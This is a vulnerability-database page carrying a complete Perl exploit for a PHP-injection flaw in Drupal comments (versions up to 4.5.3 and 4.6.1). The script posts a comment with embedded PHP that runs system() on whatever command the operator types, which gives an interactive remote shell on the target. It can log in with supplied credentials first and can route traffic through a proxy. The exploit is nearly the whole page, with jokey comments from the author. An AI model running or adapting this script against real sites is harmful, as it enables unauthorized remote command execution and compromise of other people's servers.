Lucene search
K

Drupal <= 4.5.3 & <= 4.6.1 Comments PHP Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Drupal 4.5.3 & 4.6.1 Comments PHP Injection Exploi

Code

                                                #!/usr/bin/perl
# Mon Jul  4 18:19:35 CEST 2005 [email protected]
#
# DRUPAL-SA-2005-002 php injection in comments (yes, its lame)
# Hax0r code here, read before execute
#
# Run without arguments to show the help.
#
# BLINK! BLINK! BLINK! BLINK!
#
# Feel free to port to another stupid script language (mIRC,
# python, TCL or orthers), and send to securiteam (AGAIN)
# 
# Theo, this one hasn&#39;t been tested in BSD.. yet!
# infohacking: there&#39;re a lot of xss in drupal, contact me if you want 
# to program some exploits.
#
# BLINK! BLINK! BLINK! BLINK!
#
#
# HERE YOU CAN PUT YOUR BANNER!!!! THOUSENDS OF PEOPLE IS READING THIS LINE
# contact me for pricing and offerings.
#
# !dSR: yubiiiiii yeooooooooooo
#
use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common &#34;POST&#34;;
use HTTP::Response;
use Getopt::Long;
use strict;

$| = 1; # ;1 = |$

my ($proxy,$proxy_user,$proxy_pass);
my ($host,$debug,$drupal_user,$drupal_pass);
my $options = GetOptions (
  &#39;host=s&#39;		     =&#62; \$host, 
  &#39;proxy=s&#39;           =&#62; \$proxy,
  &#39;proxy_user=s&#39;      =&#62; \$proxy_user,
  &#39;proxy_pass=s&#39;      =&#62; \$proxy_pass,
  &#39;drupal_user=s&#39;      =&#62; \$drupal_user,
  &#39;drupal_pass=s&#39;      =&#62; \$drupal_pass,
	&#39;debug&#39;         	 =&#62; \$debug);

&help unless ($host);

while (1){
    print &#34;druppy461\$ &#34;;
    my $cmd = &#60;STDIN&#62;;
    &druppy($cmd);
}
exit (1); # could be replaced with exit(2)


sub druppy {
    chomp (my $cmd = shift);
    LWP::Debug::level(&#39;+&#39;) if $debug;

    my $ua = new LWP::UserAgent(
            cookie_jar=&#62; { file =&#62; &#34;$$.cookie&#34; });   # this is a random feature
    $ua-&#62;agent(&#34;Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!&#34;);

    if ($drupal_user) { # no need to exploit 
        my ($mhost, $h);
        if ($host =~ /(http:\/\/.*?)\?q=/) {
            $mhost = $1;
            $h = $mhost . &#34;?q=user/login&#34;;
        } #some magic hacking here
        else { 
            $host =~ /(.*?)\/.*?\//; $mhost =$1;
            $h = $mhost . &#34;/user/login&#34;;
        }
        print $h . &#34;\n&#34; if $debug; 
        my $req = POST $h,[
            &#39;edit[name]&#39; =&#62; &#34;$drupal_user&#34;,
            &#39;edit[pass]&#39; =&#62; &#34;$drupal_pass&#34;
                ]; #grab these, and send to dsr!
        print $req-&#62;as_string() if $debug;
        my $res = $ua-&#62;request($req);
        print $res-&#62;content() if $debug;
        if ($res-&#62;is_redirect eq 1) {
            print &#34;Logged\n&#34; if $debug;
        }
    }

    $ua-&#62;proxy([&#39;http&#39;] =&#62; $proxy) if $proxy;
    my $req-&#62;proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    my $res = $ua-&#62;get(&#34;$host&#34;);
    my $html = $res-&#62;content();
    my @op; # buffer overflow here
    foreach (split(/\n/,$html)) { 
        if ( m/name=&#34;op&#34; value=&#34;(.*?)&#34;/){
            push(@op,$1);
        }
    }# xss here

    my $ok = 0; # globlal for admin purposes
    foreach my $op (@op) {
        my $req = POST &#34;$host&#34;,[
            &#39;edit[subject]&#39; =&#62; &#39;test&#39;,
            &#39;edit[comment]&#39; =&#62; 
             &#34;&#60;?php print(\&#34;BLAH\\n\&#34;);system(\&#34;$cmd\&#34;); print(\&#34;BLAH\\n\&#34;);  php?&#62;&#34;,
            &#39;edit[format]&#39; =&#62; &#39;2&#39;,
            &#39;edit[cid]&#39; =&#62; &#34;&#34;, # drupal is sick.. it doesn&#39;t need arguments
            &#39;edit[pid]&#39; =&#62; &#34;&#34;, # they use it to grab some statistycal information
            &#39;edit[nid]&#39; =&#62; &#34;&#34;, # about users conduits. Don&#39;t buy in internet using drupal
            &#39;op&#39; =&#62; &#34;$op&#34;
                ];

        print $req-&#62;as_string() if $debug;
        my $res = $ua-&#62;request($req);
        my $html = $res-&#62;content(); 
        print $html if $debug;
        foreach (split(/\n/,$html)) {
            return if $ok gt &#34;1&#34;;       # super hack de phrack
            if (/BLAH/) { $ok++; next }
            print &#34;$_\n&#34; if $ok eq &#34;1&#34;; # /n is for another line in screen
        }
    }
}


sub help {
    print &#34;Syntax: ./$0 &#60;url&#62; [options]\n&#34;;
    print &#34;\t--drupal_user, --drupal_pass  (needed if dont allow anonymous posts)\n&#34;;
    print &#34;\t--proxy (http), --proxy_user, --proxy_pass\n&#34;;
    print &#34;\t--debug\n&#34;;
    print &#34;\nExample\n&#34;;
    print &#34;bash# $0 --host=http://www.server.com/?q=comment/reply/1\n&#34;;
    print &#34;\n&#34;;
    exit(1);
}


#sub 0day_solaris {
# please put your code here
#}

# milw0rm.com [2005-07-05]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
26